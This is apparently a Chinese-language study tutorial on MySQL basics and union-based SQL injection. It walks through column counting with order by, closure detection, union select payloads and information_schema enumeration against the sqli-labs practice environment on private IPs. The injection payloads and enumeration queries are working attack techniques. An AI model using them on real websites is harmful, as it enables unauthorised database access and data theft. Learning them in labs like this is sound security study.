数据库基础:
一、数据库的操作
(1)基本语句:
mysql -u xxx //进入mysql
show databases; //查看所有库名
use XXX; //进入某个库
show tables;//查看库的表
查询语句:select
数据操作语句:insert(插入)、updata(修改)、delete(删除)
(2)SQL注入的常用语句。
Order by语句
通常是用来做排序的,默认按照升序排。但是SQL注入中用来判断当前有多少列,配合查询来爆数据。
用法:
http://172.172.3.250/cms/show.php?id=35利用order by来看当前表有多少列。
http://172.172.3.250/cms/show.php?id=35 order by 10回显正常
http://172.172.3.250/cms/show.php?id=35 order by 15回显正常
http://172.172.3.250/cms/show.php?id=35 order by 16回显不正常
以上说明当前表有15列
union联合查询语句
联合语句是用来联合多个表进行查询。是将多个表合成为一个表。而在SQL注入中,联合查询的作用是:在已有的系统语句上,通过联合查询可以查询到数据库中的其他内容。(这里注意:联合查询时,输出的列数需要一致才能成功)
用法:语句1 union all 语句2,只要将语句1的返回false就可以只显示语句2的内容。
MYSQL函数:
SQL函数是在SQL注入中用的比较多的,经常利用SQL函数来判断数据库的版本,当前用户,当前用户权限以及数据库的安装路径等等,以下是常用的MYSQL函数:
- system_user()系统用户名
- user()用户名
- current_user() 当前用户名
- session_user() 连接数据库用的用户名
- database()数据库名
- version()mysql数据库版本
- load_file()mysql读取本地文件的函数
- @@datadir 数据库路径
- @@basedir mysql安装路径
- @@version_compile_os 操作系统
用法:
Select database(); //查询当前的库名。
Select 库名.表名; //在一个库中查看另一个库
(3)MYSQL系统数据库。
系统数据库中拥有所有数据库中的信息(schemata)、表中的列数据(columns)和表数据(tables)。利用系统数据库配合union联合查询来获取数据库相关信息。
MYSQL的系统数据库为information_schema,
用法:
1)SCHEMATA表
这个表里最关键的为schema_name列,这里存放了所有数据库名称。
查询这个表schema_name的值,即查询所有数据库名。例如:
##select distinct schema_name from schemata;
2)COLUMNS表
这个表列出了所有表中的所有列信息,对应列为column_name;此外还有所有数据库名值对应列table_schema,所有表名值对应table_name列。
##select distinct table_schema from information_schema.columns; //通过COLUMNS表查询数据库名。
## select distinct column_name from information_schema.columns; //通过COLUMNS表查询列名。
## select distinct table_name from information_schema.columns //通过COLUMNS表查询表名。
3)TABLES表
这个表包含所有表的信息;同时还包含数据库名,所有数据库名值对应列table_schema,所有表名值对应table_name。
## select distinct table_schema from information_schema.tables; // TABLES表查询数据库名
## select distinct table_name from information_schema.tables; // TABLES表查询表名
SQL注入(一):联合查询注入
思路:
1.判断交互方式 get/post
- get 提交 提交的数据在url中显示
- post 提交 没有在url中显示(这时需要打开浏览器的代理功能,进行进一步操作)
2.预判数据库执行语句
3.判断提交数据的闭合方式 整形、‘ ’、“ ”,(),(‘ ’),(“ ”)
整型:
快速判断闭合方式 and 1=1 和and 1=2 //当为整型时,会出现不同的输出,1=1时正确输出,1=2时错误的输出。
其他:
当测试整型失败时,则需要猜测,常见的闭合方式有:‘ ’、“ ”,(),(‘ ’),(“ ”)等等。
4.构造语句打破闭合
测试成功后,由于我们需要添加联合语句,来查询我们想要的信息,所以需要打破闭合。一般可以通过添加和注释两种方法来打破。
例如:
id = 1 ' 如果是‘闭合的话输入这个语句会显示语法错误,然后我们可以用--+来把还没有闭合的后一个’注释掉从而让语法正确id=1’ --+。 (当数据进行交互时,浏览器会进行转码,所以这里的--+就是转码后的注释的意思。)
进一步完善 id= 1' and 1=1 --+ //查看有没有回显错误,如果没有则确认闭合方式
5.构造联合查询判断输出位
通过order by 判断列数 ,建议使用二分法 //先判断列数
select 1,2,3.... //有多少列,这里就为几个数字,通过这个就可以判断浏览器页面回显的为哪一列或者几列;最后使用SQL语句来替换这里的回显数字,就可以进行数据的查询。
利用group_concat() 函数把列转换为行输出group_concat(xxx)
测试:
(一)GET型:
(1)这里提示我们在URL中输入一个ID值,我们就可以判断它使用的为GET方式
这里我们输入了ID=1,按照正常提示得到如下结果;
我们初步可以判断他使用的SQL应该为:
select name,password from users where id=输入的id
再来判断他的闭合方式:在输入and 1=1和 and 1=2时,页面未出现变化,判断闭合方式不是整形。
http://192.168.67.134/sqli-labs-master/Less-1/?id=1%20and%201=1
http://192.168.67.134/sqli-labs-master/Less-1/?id=1%20and%201=2
经过测试当加上' 后页面出现了变化,这里我使用的为1=2是错误的命题,所以数据库执行后,什么也不返回;当输入1=1时,就会得到正确的显示。所以我们判断闭合符为' '
?id=1' and 1=2 --+ //这里的?是访问格式,后面的--+转码的的注释符,这里我们将后面的闭合符注释掉
http://192.168.67.134/sqli-labs-master/Less-1/?id=1%27%20and%201=2--+
再来判断他使用的数据库有多少列;这里我们加上order by 4,显示错误,输入order by 3时,显示正确,所以我们判断这个数据库有3列。
现在我们判断它显示的为那几列,使用联合查询:union all select 1,2,3--+ ,这里我们测试出来有三列,所以我们使用3个数字测试。这里我们发现显示出来的为数字2和数字3,说明这里显示的为第二列和第三列。
我们将数字2和数字3,替换为其他的查询语句,就可以显示出我们想要的信息。
这里我输入了database()和version(),显示如下
最后使用联合查询查询系统数据库,来找到我们想要的信息。这就用到了我们上面提到的系统数据库查询的语句。
这句话的意思就是查找security数据库,名为users,的列信息,
select column_name from information_schema.columns where table_schema='security' and table_name='users';
但是这里会出现请求超过了1行的提示,所以我们着这里限制一下,让其仅输出一行,这里用到了limit函数;
limit 0,1的意思是,将从从第0行显示,且只显示1行
所以最终的SQL是;将其替换后出现了我们想要的信息。
select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1;
有了这些基础剩下的就是通过修改SQL语句,通过替换显示的位置,来让它显示在我们的屏幕上。
(二)POST型
这里我们在输入一个ID之后,可以看到URL中没有发生变化,因此我们就判断这是POST的提交方式。这就要使用burp suite进行代理了。
我们在使用代理之后就可以看见提交的ID了,我们使用上面的方法同样可以进行SQL;
判断闭合类型:在id=1后面加and 1=1时输出正常,
当加上and 1=2时无输出,我们可以判断闭合方式为整型:
接下来判断行数,由下可得出这个使用的数据库为2列;而且输出显示的也为两列,所以这两列也就是输出显示的两列。
最后使用联合查询进行SQL注入
一些常用的SQL查询语言:
查询security数据库的表名和列名
select table_name,column_name from information_schema.columns where table_schema='security';
查找security数据库,表名为users的信息,从第0行开始显示1行
select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1;
从columns表中查找数据库security的表信息(从第0行开始输出1行)
select table_name from information_schema.columns where table_schema='security' limit 0,1;
从tables表中查找数据库为security的表信息(从第0行开始输出1行)
select table_name from information_schema.tables where table_schema='security' limit 0,1;